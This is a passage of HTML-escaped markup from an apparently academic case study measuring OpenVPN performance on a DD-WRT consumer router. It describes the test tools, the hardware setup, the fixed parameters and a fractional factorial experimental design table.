href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Wireshark&quot;&gt;Wireshark&lt;/a&gt;]. In this case study, it was used to monitor VPN-encapsulated packets and normal packets.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Iperf&lt;/i&gt; is a network testing tool for creating and measuring TCP and UDP streams. It has options for controlling several network parameters including maximum segment size (MSS), buffer length, TCP window size, and TCP no delay (for disabling Nagle&#39;s Algorithm). The TCP test will generate traffic at full speed and measure the bandwidth between two endpoints. The UDP test will generate traffic at a given bandwidth and measure the jitter (variation in the latency) and packet loss between two endpoints [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Iperf&quot;&gt;Iperf&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Ping&lt;/i&gt; is a network testing tool for measuring latency and packet loss between two endpoints using the Internet Control Message Protocol (ICMP). A large number of packets can be transmitted using a flood ping. A flood ping works by transmitting one packet at a time and waiting for a reply or timeout. If a timeout occurs, the packet is counted as lost.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Sar&lt;/i&gt; is a system activity collection and reporting tool found in the sysstat utilities package [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#SYSSTAT&quot;&gt;SYSSTAT&lt;/a&gt;]. It is able to collect and report information on CPU and network interface activity over a period of time. This information can be collected in parallel with the TCP bandwidth, UDP jitter, and latency tests.&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec3.2&quot;&gt;3.2&lt;/a&gt; Experimental Setup&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The goal of this case study is to evaluate the performance of OpenVPN on a consumer grade router running the DD-WRT firmware. The router is a Linksys WRT54GL v1.1 with 16 MB RAM, 4 MB flash memory, and a 200 MHz processor.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;fig2&quot;&gt;&lt;img src=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/fig2.png&quot; alt=&quot;Figure 2: System definition for the study of OpenVPN on a consumer grade router&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Figure 2: System definition for the study of OpenVPN on a consumer grade router&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The system definition, shown in Figure 2, consists of two systems connected to a router in the middle. The first system is the OpenVPN client which needs to establish a VPN tunnel to access the internal private network. It is the first test endpoint for the performance tests. The router is the OpenVPN server which is the system under test (SUT) [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Jain91&quot;&gt;Jain91&lt;/a&gt;]. The second system is a computer on the private network which is the second test endpoint. The specifications of these two test systems are shown in Table 1.&lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;System&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Test endpoint 1&lt;br /&gt;(test client)&lt;/td&gt;&lt;td&gt;Cento OS 5.2 Linux,&lt;br /&gt;AMD Athlon XP-M 2600+,&lt;br /&gt;1.83 GHz, 2.0 GB of RAM,&lt;br /&gt;ASUS A7V880 motherboard,&lt;br /&gt;VIA KT880 chipset&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Test endpoint 2&lt;br /&gt;(test server)&lt;/td&gt;&lt;td&gt;Windows XP Professional, Service Pack 3,&lt;br /&gt;AMD Athlon XP 2000+ (Thoroughbred),&lt;br /&gt;1.67 GHz, 768 MB of RAM,&lt;br /&gt;ASUS A7V8X-X motherboard,&lt;br /&gt;VIA KT400 chipset&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Table 1: System specifications for test endpoints&lt;/b&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;To facilitate the testing process, a Python script, on test endpoint 1, is used to automatically run each test and collect data results which are saved in a log file. There are three tests that are run: TCP bandwidth test, UDP jitter test, and latency test. The TCP bandwidth test uses &lt;i&gt;iperf&lt;/i&gt; to generate traffic from a workload, and to measure the bandwidth over multiple time intervals. Simultaneously, CPU and network activity are measured using &lt;i&gt;sar&lt;/i&gt; over the same time intervals. The UDP jitter test also uses &lt;i&gt;iperf&lt;/i&gt; to generate traffic from a workload, and measures the jitter and packet loss across the VPN tunnel. As with the TCP test, &lt;i&gt;sar&lt;/i&gt; is used to measure CPU and network activity. The latency test uses &lt;i&gt;ping&lt;/i&gt; to flood small packets to the remote host and to measure the return-trip time (RTT) and packet loss across the VPN tunnel. The RTT is related to the latency of the connection, and the packet loss can be used to get the probability of error.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Many of the system parameters were fixed to a single value for a reduction in the number of total experiments needed. Some parameters are determined by the hardware which cannot be changed such as memory, router CPU speed, and network speed. The other parameter values were chosen based on recommendations given in the OpenVPN documentation. These parameters are shown in Table 2.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Fixed Parameter&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Memory&lt;/td&gt;&lt;td&gt;16 MB RAM&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Speed of router CPU&lt;/td&gt;&lt;td&gt;200 MHz&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Speed of network&lt;/td&gt;&lt;td&gt;100 Mbps&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Encryption key size&lt;/td&gt;&lt;td&gt;256-bit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Digest&lt;/td&gt;&lt;td&gt;SHA1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TLS cipher&lt;/td&gt;&lt;td&gt;DHE-RSA-AES256-SHA&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Table 2: Parameters fixed in the experimental setup&lt;/b&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In the fractional factorial design, five factors were chosen and are listed in Table 3.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Factor&lt;/th&gt;&lt;th&gt;Level (-1)&lt;/th&gt;&lt;th&gt;Level (+1)&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;A&lt;/th&gt;&lt;td&gt;Interface&lt;/td&gt;&lt;td&gt;TAP (bridged)&lt;/td&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;B&lt;/th&gt;&lt;td&gt;Protocol&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;C&lt;/th&gt;&lt;td&gt;Cipher&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;AES-256&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;D&lt;/th&gt;&lt;td&gt;Compression&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;E&lt;/th&gt;&lt;td&gt;Workload&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Table 3: Factors in fractional factorial design&lt;/b&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;OpenVPN supports creating tunnels using two devices: TUN and TAP. The primary distinction between these two is the layer at which they operate. TUN, which stands for Network TUNnel, operates at Layer 3 of the OSI model and will not transmit any Layer 2 protocols through the VPN. TAP, which stands for Network TAP, operates at Layer 2 of the OSI model. It is capable of sending Layer 2 protocols through the VPN, but needs a bridge between the virtual network interface controller (NIC) and the physical NIC. If bridging mode is not used, then additional routing table entries are needed to route packets between the client and remote network [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#OpenVPN HOWTO&quot;&gt;OpenVPN HOWTO&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Two transport protocols supported by OpenVPN are UDP and TCP. The performance of the VPN depends on the protocol used. UDP is a datagram packet which has less overhead and shares the same characteristics of IP. TCP, however, is a connection-based protocol which assumes an unreliable medium. Consequently, it has more overhead, and will encounter adverse effects from packet loss as described in Section 2.1.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Many ciphers are available in OpenVPN which uses the OpenSSL cryptographic library. For this factor, a comparison is being done between no encryption, and encryption using the Advanced Encryption Standard (AES) algorithm. This algorithm is recommended by the National Institute of Standards and Technology (NIST) federal agency for secure communications [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#NIST&quot;&gt;NIST&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In low-throughput links, compression is a way to increase the overall throughput. The throughput achieved, however, is dependent on the workload. For this study, the performance is tested both with and without compression and for different workloads. Two workloads were chosen: text, and video. The text workload consists of highly compressible RFC documents and the video workload consists of uncompressible MPEG video.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The 2&lt;sup&gt;5-1&lt;/sup&gt; fractional factorial design for measuring the effects of each factor is shown in Table 4. The design is the equivalent of a 4 factor design, except that the ABCD interaction is replaced with factor E, the workload. The confounding effects for this design are shown in Table 5.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;colgroup span=&quot;16&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;col width=&quot;40&quot;&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;I&lt;/th&gt;&lt;th&gt;A&lt;/th&gt;&lt;th&gt;B&lt;/th&gt;&lt;th&gt;C&lt;/th&gt;&lt;th&gt;D&lt;/th&gt;&lt;th&gt;AB&lt;/th&gt;&lt;th&gt;AC&lt;/th&gt;&lt;th&gt;AD&lt;/th&gt;&lt;th&gt;BC&lt;/th&gt;&lt;th&gt;BD&lt;/th&gt;&lt;th&gt;CD&lt;/th&gt;&lt;th&gt;ABC&lt;/th&gt;&lt;th&gt;ABD&lt;/th&gt;&lt;th&gt;ACD&lt;/th&gt;&lt;th&gt;BCD&lt;/th&gt;&lt;th&gt;E&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;-1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Table 4: 2&lt;sup&gt;5-1&lt;/sup&gt; fractional factorial design; A = Interface, B = Protocol, C = Cipher, D = Compression, E = Workload&lt;/b&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;colgroup span=&quot;8&quot;&gt;&lt;col width=&quot;70&quot;&gt;&lt;col width=&quot;70&quot;&gt;&lt;col width=&quot;70&quot;&gt;&lt;col width=&quot;70&quot;&gt;&lt;col width=&quot;70&quot;&gt;&lt;col width=&quot;70&quot;&gt;&lt;col width=&quot;70&quot;&gt;&lt;col 